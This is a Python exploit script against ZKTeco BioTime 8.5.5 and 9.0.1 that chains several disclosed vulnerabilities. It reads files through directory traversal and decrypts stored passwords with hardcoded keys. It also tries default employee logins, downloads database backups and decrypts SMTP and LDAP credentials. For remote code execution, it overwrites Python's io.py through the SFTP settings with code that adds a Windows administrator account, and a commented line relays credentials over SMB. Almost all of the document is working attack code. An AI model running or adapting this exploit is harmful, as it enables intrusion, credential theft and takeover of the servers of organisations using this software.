BioTime versions 8.5.5 and 9.0.1 suffer from directory traversal and file write vulnerabilities. This exploit also achieves remote code execution on version 8.5.5.
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# Tested on 8.5.5 (Build:20231103.R1905)
# Tested on 9.0.1 (Build:20240108.18753)
# BioTime, "time" for shellz!
# https://claroty.com/team82/disclosure-dashboard/cve-2023-38952
# https://claroty.com/team82/disclosure-dashboard/cve-2023-38951
# https://claroty.com/team82/disclosure-dashboard/cve-2023-38950
# RCE by adding a user to the system, not the app.
# Relay machine creds over smb, while creating a backup
# Decrypt SMTP, LDAP or SFTP creds, if any.
# Get sql backup. Good luck cracking those hashes!
# Can use Banner to determine which version is running
# Server: Apache/2.4.29 (Win64) mod_wsgi/4.5.24 Python/2.7
# Server: Apache/2.4.52 (Win64) mod_wsgi/4.7.1 Python/3.7
# Server: Apache/2.4.48 (Win64) mod_wsgi/4.7.1 Python/3.7
# Server: Apache => BioTime Version 9
# @w3bd3vil - Krash Consulting (https://krashconsulting.com/fury-of-fingers-biotime-rce/)
import requests
from bs4 import BeautifulSoup
import os
import json
import sys
from Crypto.Cipher import AES
from Crypto.Cipher import ARC4
import base64
from binascii import b2a_hex, a2b_hex
requests.packages.urllib3.disable_warnings()
proxies = {
'http': 'http://127.0.0.1:8080', # Proxy for HTTP traffic
'https': 'http://127.0.0.1:8080' # Proxy for HTTPS traffic
}
proxies = {}
target = sys.argv[1]
def decrypt_rc4(base64_encoded_rc4, password="biotime"):
encrypted_data = base64.b64decode(base64_encoded_rc4)
cipher = ARC4.new(password.encode())
decrypted_data = cipher.decrypt(encrypted_data)
return decrypted_data.decode()
# base64_encoded_rc4 = "fj8xD5fAY6r6s3I="
# password = "biotime"
# decrypted_data = decrypt_rc4(base64_encoded_rc4, password)
# print("Decrypted data:", decrypted_data)
AES_PASSWORD = b'china@2018encryption#aes'
AES_IV = b'zkteco@china2019'
def filling_data(data, restore=False):
'''
:param data: str
:return: str
'''
if restore:
return data[0:-ord(data[-1])]
block_size = AES.block_size # Use AES.block_size instead of None.block_size
return data + (block_size - len(data) % block_size) * chr(block_size - len(data) % block_size)
def aes_encrypt(content):
'''
Encryption
:param content: str, The length of content must be times of AES.block_size, using filling_data to fill out
:return: str
'''
if isinstance(content, bytes):
content = str(content, 'utf-8')
cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)
encrypted = cipher.encrypt(filling_data(content).encode('utf-8'))
result = b2a_hex(encrypted).decode('utf-8')
return result
def aes_decrypt(content):
'''
Decryption
:param content: str or bytes, Encryption string
:return: str
'''
if isinstance(content, str):
content = content.encode('utf-8')
cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)
result = cipher.decrypt(a2b_hex(content)).decode('utf-8')
return filling_data(result, restore=True)
#Check BioTime
url = f'{target}/license/'
response = requests.get(url, proxies=proxies, verify=False)
html_content = response.content
soup = BeautifulSoup(html_content, 'html.parser')
build_lines = [line.strip() for line in soup.get_text().split('\n') if 'build' in line.lower()]
build = None
for line in build_lines:
build = line
print(f"Found BioTime: {line}")
break
if build != None:
buildNumber = build[0]
else:
print("Unsupported Target!")
sys.exit(1)
# Dir Traversal
url = f'{target}/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini'
response = requests.get(url, proxies=proxies, verify=False)
try:
print("Dir Traversal Attempt\nOutput of windows/win.ini file:")
print(base64.b64decode(response.text).decode('utf-8'))
try:
url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini'
response = requests.get(url, proxies=proxies, verify=False)
attConfig = base64.b64decode(response.text).decode('utf-8')
#print(f"Output of BioTime config file: {attConfig}")
except:
try:
url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini'
response = requests.get(url, proxies=proxies, verify=False)
attConfig = base64.b64decode(response.text).decode('utf-8')
#print(f"Output of BioTime config file: {attConfig}")
except:
print("Couldn't get BioTime config file (possibly non default configuration)")
lines = attConfig.split('\n')
for i, line in enumerate(lines):
if "PASSWORD=@!@=" in line:
dec_att = decrypt_rc4(lines[i].split("@!@=")[1])
lines[i] = lines[i].split("@!@=")[0]+dec_att
attConfig_modified = '\n'.join(lines)
print(f"Output of BioTime Decrypted config file:\n{attConfig_modified}")
except:
print("Couldn't exploit Dir Traversal")
# Extract Cookies
url = f'{target}/login/'
response = requests.get(url, proxies=proxies, verify=False)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token_header = soup.find('input', {'name': 'csrfmiddlewaretoken'})
if csrf_token_header:
csrf_token_header_value = csrf_token_header['value']
print(f"CSRF Token Header: {csrf_token_header_value}")
session_id_cookie = response.cookies.get('sessionid')
if session_id_cookie:
print(f"Session ID: {session_id_cookie}")
csrf_token_value = response.cookies.get('csrftoken')
if csrf_token_value:
print(f"CSRF Token Cookie: {csrf_token_value}")
else:
print(f"Failed to retrieve data from {url}. Status code: {response.status_code}")
# Login Now!
cookies = {
'sessionid': session_id_cookie,
'csrftoken': csrf_token_value
}
for i in range(1,10):
username = i
password = '123456' # Deafult password!
data = {
'username': username,
'password': password,
'captcha':'',
'login_user':'employee'
}
headers = {
'User-Agent': 'Krash Consulting',
'X-CSRFToken': csrf_token_header_value
}
response = requests.post(url, data=data, cookies=cookies, headers=headers, proxies=proxies, verify=False)
if response.status_code == 200:
json_response = response.json()
ret_value = json_response.get('ret')
if ret_value == 0:
print(f"Valid Credentials found: Username is {username} and password is {password}")
session_id_cookie = response.cookies.get('sessionid')
if session_id_cookie:
print(f"Auth Session ID: {session_id_cookie}")
csrf_token_value = response.cookies.get('csrftoken')
if csrf_token_value:
print(f"Auth CSRF Token Cookie: {csrf_token_value}")
break
if i == 9:
print("No valid users found!")
sys.exit(1)
# Check for Backups
def downloadBackup():
url = f'{target}/base/dbbackuplog/table/?page=1&limit=33'
cookies = {
'sessionid': session_id_cookie,
'csrftoken': csrf_token_value
}
response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
response_data = response.json()
print("Backup files list")
print(json.dumps(response_data, indent=4))
if response_data['count'] > 0:
backup_info = response_data['data'][0] # Latest Backup
operator_name = backup_info['operator']
backup_file = backup_info['backup_file']
db_type = backup_info['db_type']
print("Operator:", operator_name)
print("Backup File:", backup_file)
print("Database Type:", db_type)
if buildNumber == "9":
createBackup()
print("Backup File password: Krash")
#download = os.path.basename(backup_file)
path = os.path.normpath(backup_file)
try:
split_path = path.split(os.sep)
files_index = split_path.index('files')
relative_path = '/'.join(split_path[files_index + 1:])
except:
return False
url = f'{target}/files/{relative_path}'
print(url)
response = requests.get(url, proxies=proxies, verify=False)
if response.status_code == 200:
filename = os.path.basename(url)
with open(filename, 'wb') as file:
file.write(response.content)
print(f"File '{filename}' downloaded successfully.")
else:
print("Failed to download the file. Status code:", response.status_code)
return False
else:
print("No backup Found!")
return True
def createBackup(targetPath=None):
print("Attempting to create backup.")
url = f'{target}/base/dbbackuplog/action/?action_name=44424261636b75704d616e75616c6c79&_popup=true&id='
cookies = {
'sessionid': session_id_cookie,
'csrftoken': csrf_token_value
}
response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
html_content = response.content
soup = BeautifulSoup(html_content, 'html.parser')
pathBackup = [line.strip() for line in soup.get_text().split('\n') if 'name="file_path"' in line.lower()]
print(f"Possible backup location: {pathBackup}")
url = f'{target}/base/dbbackuplog/action/'
if targetPath == None:
if buildNumber == "9" or build[:5] == "8.5.5":
targetPath = "C:\\ZKBioTime\\files\\backup\\"
else:
targetPath = "C:\\BioTime\\files\\fw\\"
if buildNumber == "9":
data = {
'csrfmiddlewaretoken': csrf_token_value,
'file_path':targetPath,
'action_name': '44424261636b75704d616e75616c6c79',
'backup_encryption_choices': '2',
'auto_backup_password': 'Krash'
}
else:
data = {
'csrfmiddlewaretoken': csrf_token_value,
'file_path':targetPath,
'action_name': '44424261636b75704d616e75616c6c79'
}
response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)
if response.status_code == 200:
print("Backup Initiated.")
else:
print("Backup failed!")
if downloadBackup():
createBackup()
downloadBackup()
url = f'{target}/base/api/systemSettings/email_setting/'
cookies = {
'sessionid': session_id_cookie,
'csrftoken': csrf_token_value
}
response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
if response.status_code == 200:
response_data = response.json()
print("SMTP Settings")
for key in response_data:
if 'password' in key.lower():
value = response_data[key]
#print(f'{key} decrypted value {aes_decrypt(value)}')
response_data[key] = aes_decrypt(value)
print(json.dumps(response_data, indent=4))
url = f'{target}/base/api/systemSettings/ldap_setup/'
cookies = {
'sessionid': session_id_cookie,
'csrftoken': csrf_token_value
}
response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
if response.status_code == 200:
response_data = response.json()
print("LDAP Settings")
for key in response_data:
if 'password' in key.lower():
value = response_data[key]
#print(f'{key} decrypted value {aes_decrypt(value)}')
response_data[key] = aes_decrypt(value)
print(json.dumps(response_data, indent=4))
def sftpRCE():
print("Attempting RCE!")
#Add SFTP, Need valid IP/credentials here!
print("Adding FTP List")
url = f'{target}/base/sftpsetting/add/'
myIpaddr = '192.168.0.11'
myUser = 'test'
myPassword = 'test@123'
cookies = {
'sessionid': session_id_cookie,
'csrftoken': csrf_token_value
}
data = {
'csrfmiddlewaretoken': csrf_token_value,
'host':myIpaddr,
'port':22,
'is_sftp': 1,
'user_name':myUser,
'user_password':myPassword,
'user_key':'',
'action_name': '47656e6572616c416374696f6e4e6577'
}
response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)
print(response)
url = f'{target}/base/sftpsetting/table/?page=1&limit=33'
cookies = {
'sessionid': session_id_cookie,
'csrftoken': csrf_token_value
}
response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)
response_data = response.json()
print("FTP List")
print(json.dumps(response_data, indent=4))
backup_info = response_data['data'][0] # Latest SFTP
getID = backup_info['id']
if getID:
print("ID to edit ", getID)
#Edit SFTP (Response can have errors, it doesn't matter)
print("Editing SFTP Settings")
if buildNumber == "9":
dirTraverse = '\..\..\..\python311\lib\io.py'
else:
dirTraverse = '\..\..\..\python37\lib\io.py'
if len(dirTraverse) > 30:
print("Directory Traversal length is greater than 30, will not work!")
sys.exit(1)
url = f'{target}/base/sftpsetting/edit/'
cookies = {
'sessionid': session_id_cookie,
'csrftoken': csrf_token_value
}
data = {
'csrfmiddlewaretoken': csrf_token_value,
'host':myIpaddr,
'port':22,
'is_sftp': 1,
'user_name': dirTraverse,
'user_password':myPassword,
'user_key':'import os\nos.system("net user /add omair190 KCP@ssw0rd && net localgroup administrators ...',
'obj_id': getID
}
response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)
print("A new user should be added now on the server \nusername: omair190\npassword: KCP@ssw0rd")
#Delete SFTP
print("Deleting SFTP Settings")
url = f'{target}/base/sftpsetting/action/'
cookies = {
'sessionid': session_id_cookie,
'csrftoken': csrf_token_value
}
data = {
'csrfmiddlewaretoken': csrf_token_value,
'id': getID,
'action_name': '47656e6572616c416374696f6e44656c657465'
}
response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)
#RCE
if buildNumber == "9" or build[:5] == "8.5.5":
sftpRCE()
# #Relay Creds
# createBackup("\\\\192.168.0.11\\KC\\test")